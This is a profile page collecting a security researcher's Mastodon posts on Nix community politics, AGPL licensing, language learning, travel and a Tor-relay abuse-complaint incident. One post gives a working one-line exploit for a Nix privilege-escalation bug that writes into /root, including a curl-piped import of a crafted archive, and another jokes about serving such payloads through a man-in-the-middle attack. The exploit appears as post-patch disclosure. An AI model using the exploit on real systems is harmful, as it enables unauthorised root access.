Pierre Bourdon

https://mastodon.delroth.net/@delroth

Reverse engineer, open source developer and maintainer. Ex-infrastructure security tech lead, now on break. he/him. pfp: vgen.co/angelrosestar

Website: https://delroth.net
Matrix: Pierre Bourdon (npub18ah…5v5z):delroth.net
GitHub: https://github.com/delroth
Physical location: Zürich, Switzerland

Public Key

npub18ahux7c4r7aqhclxuy2778m63akafyle42y5n7k4n8m9hnre9n8qdp5v5z

NIP-05 Address

delroth_at_mastodon.delroth.net@momostr.pink

Profile Code

nprofile1qqsr7m7r0v23lwstu0nwz900raag7mw5j0u64z2flt2enajme3ujensprpmhxue69uhhyetvv9ujumt0d4hhxarj9ecxjmntcajuwq

Publishing to

relay.momostr.pink

Author Public Key

npub18ahux7c4r7aqhclxuy2778m63akafyle42y5n7k4n8m9hnre9n8qdp5v5z

Show more details

Last Notes

2025-04-27 13:21:54 UTC

Hot take: the only two good options for keeping a sane long-term Mastodon presence are 1. self-hosted instance; 2. the biggest instance that exists. Both basically nullify the risk of getting into pissing matches between instance operators through two different means.
In one case because your instance is synonymous with you personally, in the other case because the other instance owner's will be shooting themselves in the foot hard and most of the people you interact with there will move.

2025-04-01 12:14:46 UTC

Ah yes, what a good joke, the #nixos guy who got banned from Hachyderm for being an asshole complaining about "woke ideology" posted on the NixOS forums a "joke" about being endorsed by Elon Musk, going on the Joe Rogan podcast, and moving the foundation's seat to Texas.
"April's fool lol definitely not projecting"
Btw, that guy was in charge of recruiting students for an outreach program/internship last year 🤡
^ this was not an April's fool
https://discourse.nixos.org/t/breaking-doge-to-recommend-nix-widely/62490
https://mastodon.delroth.net/system/media_attachments/files/114/262/653/553/521/640/original/a6422595596b5890.png

2025-03-12 14:52:22 UTC

Is there a single person who's managed to print on an envelope correctly on the first go using a new printer?
It took me 8 tries this time I think.

2025-03-10 14:08:31 UTC

TIL from https://github.com/iwsfutcmd/ptouch that it looks like someone really cared about printing porn on their label printer and didn't even bother with plausible deniability (check the sample pictures in the repo, mild NSFW).
(h/t @npub12z2…3e0f)

2025-03-10 11:33:11 UTC

The DetSys duality:
- Look at how cool and in touch with the Nix community we are, one of our cofounders is the creator of Nix! (don't look too closely at when we were actually founded and when eelco joined our company though)
- Oh no we definitely don't hold any control over the CppNix project and all of eelco's work on CppNix is voluntary and not paid for by DetSys, it's on his own time, we don't influence this.
(Depending of course on who they speak to and when.)
#nixos

2025-03-04 13:28:13 UTC

- reply

I'm seeing an overwhelming majority in favor of the anime shelf right now, and it's surprising to me given that 1. vocaloids originally come from a computer program, not any specific series*; 2. significantly more games have primarily featured vocaloids compared to anime series (in fact, have any? the project sekai films are releasing soon but if anything that's more an argument in favor of games...)
* Let's not talk about VNs please.

2025-03-04 12:45:07 UTC

Hard life problems I'm currently facing: do Vocaloid figures/merch go on the "Anime" shelf of the merch cabinet or the "Games" shelf?

2025-02-12 00:39:49 UTC

- reply

depends on your tech choice - for some choice of package technology this would be a major project, for others like containers it's just a case of building some fairly basic orchestration (e.g. with something like buildbot), for others like Nix it's free and you "just" get that trivially (the distributed builds, the shared caching, tests, reproducible builds, ...)

2025-02-12 00:32:21 UTC

- reply

this is such a huge design space that you'll have to be significantly more precise about what you want to do :)

2025-02-11 23:48:31 UTC

The CppNix team has discovered today that the #NixOS infra has actually been running on Lix for a few months because their software is too shit to reliably function on large-scale critical infrastructure (e.g. the build farm supporting NixOS). Like, it just segfaults or has protocol incompatibility regressions every version.
It's been really interesting watching their indignation at having actual competition doing their job better than they do it themselves.
https://github.com/NixOS/infra/pull/554

2025-02-06 22:28:32 UTC

Commissioned https://vgen.co/angelrosestar / https://bsky.app/profile/angelrosestar.bsky.social today to draw a version of my avatar that's not just a rip from game assets - pretty happy with the results, I'm now a slightly less unoriginal cat online.
A++ would recommend paying artists.

2025-02-02 12:24:15 UTC

Hotel pricing in major european metros has become completely insane for solo travelers. Looking 3-4 months ahead in Amsterdam, I can barely find anything below 150€/night that isn't a "bed in a 8 ppl dormitory" kind of option. Even extending to locations ~ 45min away from the city center or in surrounding cities, basically nothing. Absurd.
With the right setup of flights I could almost fly ZRH-AMS every day and sleep in my apartment for that price...

2025-01-10 12:59:34 UTC

This was a good use of 2,000 JPY (~12€).
https://mastodon.delroth.net/system/media_attachments/files/113/804/178/606/840/115/original/f1516fb3f75bda44.jpg
https://mastodon.delroth.net/system/media_attachments/files/113/804/179/084/937/375/original/45ee3b436d578f9f.jpg
https://mastodon.delroth.net/system/media_attachments/files/113/804/179/699/733/816/original/9f40ff4625926f93.jpg

2024-12-29 00:37:07 UTC

- reply

Duolingo's magic is that it made a bunch of people who have a passing interest in learning languages believe they're learning languages by addicting them to daily dopamine-delivering minigames (with a monthly subscription). Most people have no reference for what's efficient language learning to compare it against anything, and pretty much everyone who *does* have another comparison point finds Duolingo worse.

2024-12-29 00:33:22 UTC

- reply

as a data point, after taking 3 months of evening German classes and reaching end of A2 (wasn't starting entirely from scratch), I did the Duolingo placement test to see how far their course went, and passed it with 0 errors (which unlocked everything). A friend of mine has been at it daily for 2.5 years (very proud of his streak) and hasn't reached this level yet.

2024-12-29 00:30:11 UTC

- reply

in terms of time efficiency to learn a language, I'd rank Duolingo at the bottom of what I've used personally. It's only slightly better than "not doing anything", because frankly it sets you up with shitty basics and tends to make people overvalue their actual skills due to the triviality of the testing done by Duolingo.
Quoting someone I can't recall: "just because you can walk 50km along the rail tracks doesn't mean you wouldn't have been better off riding the train".

2024-12-28 22:51:47 UTC

- reply

Duolingo's decisions make a lot more sense when you realize that their performance as a business is in no way tied to how good they are at teaching languages.

2024-12-28 13:59:24 UTC

TIL that some newer cable car projects in Switzerland embed strands of fiber optics within the cable car's carrier cable.
https://schilthornbahn20xx.ch/en/Info/Facts__and__Figures 48 singlemode strands!
https://www.fatzer.com/en/products/integra-integra-data-27
Makes sense, but still smart engineering!
https://mastodon.delroth.net/system/media_attachments/files/113/730/804/382/965/130/original/d0a78389315d6cfa.png

2024-11-07 11:20:42 UTC

Looks like we now have confirmation that the spoofed source IPs port 22 scanning is a deliberate attack against Tor relays: https://r00t.monster/
It's kind of funny and sad how the attacker is so alone and so bad at PR that it took more than a week for anyone to notice their webpage, all the while they've been hard at work seething and screenshotting everything like a maniac. F :(

2024-11-05 01:27:51 UTC

- reply

yes and yes, want to be CTO as well?

2024-11-05 01:20:56 UTC

- reply

New update: the CTO from "watchdogcyberdefense.com" has been in my emails, and I can only summarize our exchanges by my current feeling of "wow there should be an exam to be allowed to send more than N abuse complaints/day".
To quote from them: they're seeing "1.3 billion attacks logged in the past 24h", they claim IPs are infected because VirusTotal says so, and they're trying to make a deal with me where if I iptables OUTPUT DROP their network they'll stop sending abuse complaints to Hetzner.

2024-10-30 15:06:57 UTC

- reply

Update: I got an email from Hetzner's legal team today saying they came across my blog post (nice!). Paraphrasing:
- They're monitoring and understand that there is no actual abuse being done from these Tor relays getting spoofed.
- They emphasized that they do not routinely take action on this kind of abuse complaints, and that's why they forward them without requiring reply/action from the customer.
Love hearing this, and I'm actually impressed by Hetzner's response! Major props.

2024-10-29 20:40:12 UTC

I landed in London 8h ago and it took me until now to notice that while my phone correctly switched from GMT+1 to GMT+0, my watch was stuck on GMT+1 because Bluetooth is a broken mess as always.
That explains a few things that happened today...

2024-10-29 10:33:55 UTC

On my blog: One weird trick to get the whole planet to send abuse complaints to your best friend(s)
https://delroth.net/posts/spoofed-mass-scan-abuse/
Summary of my adventures from last evening, as read in this Mastodon thread: https://mastodon.delroth.net/@delroth/113387965977159983
#infosec #networking #tor

2024-10-23 15:52:48 UTC

Encountered a small space time distortion during my German classes today.
https://mastodon.delroth.net/system/media_attachments/files/113/357/538/228/783/937/original/cca4a5d718096b54.mp4

2024-10-18 18:17:34 UTC

Finally a cloudless evening in Zürich. Photo taken from my apartment in the middle of the city, even with all the light pollution it's easily visible with binoculars!
https://mastodon.delroth.net/system/media_attachments/files/113/329/794/438/803/730/original/6fc96785dbf3151c.png

2024-10-09 14:46:25 UTC

- reply

I think a bunch of people don't block aggressively enough to realize how small the vocal minority of assholes is.
It's common these days that I open an alt-right brigaded post on Twitter and I see like 70% of the hate posters already blocked by my personal blocklist.
They think "oh, you can't just ban those people, there's too many and they keep coming back" but nah, you just need to ban harder really.

2024-10-08 04:07:49 UTC

For people voting in the #nixos leadership election: a quick list of which candidates signed the community's open letter against military sponsorship, to assist in decision making.
https://gist.github.com/delroth/1ffb214ee95ad16da7311ca3d868d806

2024-09-10 18:16:00 UTC

Now that Nix 2.24.6 is out, my oneliner PoC for CVE-2024-45593:
$ nix-store --export $(nix-build -E '(import <nixpkgs> {}).runCommand "exploit" {} "mkdir -p $out/zzz; ln -s /root $out/foo; touch $out/zzz/pwned"') | sed 's/zzz/foo/' > pwned.nar
This creates a .nar which when imported into the Nix store by Nix 2.24 will write an empty file in /root
$ curl https://delroth.net/pwned.nar | nix-store --import
Rarely are LPE vulns so trivial to trigger and exploit.

2024-09-09 22:13:38 UTC

- reply

to avoid buffering archives in their packed form (either to RAM or to disk), Nix streams unpacking to the /nix/store and checks the signature of the extracted data at the end. Which in theory is fine... until you have a vuln at unpacking time like this one. Or a vuln in the NAR parser (which isn't fuzzed, afaik).

2024-09-09 21:53:47 UTC

lol there are apparently Nix users that have their cache upstream configured as http:// because "the NARs are signed, what could go wrong" and "that way transparent proxies can work better".
Who wants to set up a MITM at next NixCon serving GHSA-h4vv-h3jq-v493 payloads? :>

2024-08-29 16:41:55 UTC

- reply

that video linked in Wedson's retirement mail is... damning, to say the least. Wow. And the fact that this is apparently just acceptable behavior in that community...

2024-08-19 17:16:22 UTC

- reply

"In the Netherlands alone, these solar panels generate an output equivalent to at least 25 medium sized nuclear power plants."
That seems an order of magnitude wrong. https://www.cbs.nl/en-gb/news/2024/10/nearly-half-the-electricity-produced-in-the-netherlands-is-now-renewable claims 21TWh for solar in NL in 2023, average NPP in the USA in 2021 based on https://www.eia.gov/energyexplained/nuclear/data-and-statistics.php data (+ number of plants from https://www.eia.gov/energyexplained/nuclear/nuclear-power-plants.php) is 14TWh.

2024-08-17 03:24:43 UTC

- reply

and like, that's not theoretical. As an example, the version of Nitter distributed by Nix / nixpkgs violates the AGPLv3 like this (it applies a patch that is not present in the sources that their modified Nitter links to): https://github.com/NixOS/nixpkgs/blob/nixos-24.05/pkgs/by-name/ni/nitter/package.nix#L22

2024-08-17 03:23:18 UTC

- reply

I don't think marcan is making the argument that you can't comply with a link to github, that's very much the canonical way to do it.
It's just very easy to mess up if you do it this way. Like, let's say that you make your software link to its source on Git. But then you also package it as a .deb / .rpm or whatever, and during this packaging process you apply a patch. Oops, suddenly you're not actually linking to the source code of your modified version anymore, not compliant.

2024-08-17 00:42:32 UTC

- reply

this is wrong because AGPLv3 restricts modifications / creating derivative works, not usage. Clause 13 says "if you modify the Program, your modified version must [...]" not "if you run the modified Program".
You are not allowed to create a derivative which does not have a feature to prominently offer its source code. Whether you run it or not, whether users exist or not, etc. is irrelevant. Yes, that's absolutely dumb, that's the point I've been trying to make.

2024-08-16 02:18:10 UTC

- reply

That's without even getting into the fact that really, the AGPL is GPL + a "usage restriction" clause camouflaging as not being one (because that would be against the FSF's principles).
I suspect most of the AGPL users would be better served with some of the more permissive source-available licenses. Unfortunately, people seem to have allergic reactions to non-OSI approved licenses, and AGPL being OSI approved even though it sucks means it gets regarded more highly than better alternatives.

2024-08-16 02:16:08 UTC

Hot take, don't @ me: AGPL should never have been an OSI approved license.
The license is basically a compliance trap, and I would posit that > 99% of modified AGPL software violates the license.
This leads to a world where license enforcement is entirely up to arbitrary decisions by the copyright owner. Any contributor to an AGPL software package (without CLA) can go and mass-send C&Ds and/or request $$$, kind of like the Creative Commons copyright trolls have been doing for CC-BY violations.

2024-08-13 13:41:02 UTC

https://mastodon.delroth.net/system/media_attachments/files/112/954/996/090/132/935/original/0f6bc5d84c8bd9e1.png

2024-07-20 14:13:34 UTC

- reply

tbf that's all under the assumption that the story you're hearing is true, and that's not the story I've heard about that outage.
(I think that "file corrupted" theory is mostly being thrown around by people who are, for some reason, trying to link this to the unrelated but time-correlated Azure outage...)